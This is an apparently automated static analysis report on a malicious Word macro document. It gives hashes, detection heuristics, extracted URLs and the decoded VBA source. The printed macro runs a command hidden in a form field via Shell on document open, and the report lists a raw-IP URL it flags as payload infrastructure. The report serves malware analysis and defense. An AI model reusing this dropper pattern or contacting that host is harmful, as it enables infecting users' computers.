Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0fe745b26efe3c4d…

MALICIOUS

Office (OLE)

98.0 KB Created: 2019-06-11 06:15:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 477e6a9efebdbf54f09d06ef8a29da79 SHA-1: bc219e56929889acdf80cf692cd6b0d7a43b8207 SHA-256: 0fe745b26efe3c4d82389d10c43e5755a30e1a794d920a807915313f049048eb
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains a VBA macro that executes a Shell command, likely to download and run a second-stage payload. The macro uses the `document_open` subroutine, which is a common technique for malicious Office documents. The embedded URLs are suspicious and likely point to malicious infrastructure.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6993178-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6993178-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.140.248.17/ltm1 In document text (OLE body)
    • http://tl.symcd.com0&In document text (OLE body)
    • http://t2.symcb.com0In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://tl.symcb.com/tl.crl0In document text (OLE body)
    • https://www.thawte.com/cps0/In document text (OLE body)
    • https://www.thawte.com/repository0WIn document text (OLE body)
    • http://tl.symcb.com/tl.crt0In document text (OLE body)
    • http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 780 bytes
SHA-256: a836ea473d445427a79389a6fdb35f2e38ef92135db052e251a3da0d98a25dc7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
Dim time
time = Format(Now + TimeSerial(0, 0, 37), "hh:mm")


Shell Replace(UserForm1.TextBox1.Text, "11:11", time)
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{70C69FD8-4EF6-4C83-BFA3-3B24E85F372A}{032B2DC5-FA15-4CCA-BEEF-FE98303EEAC3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False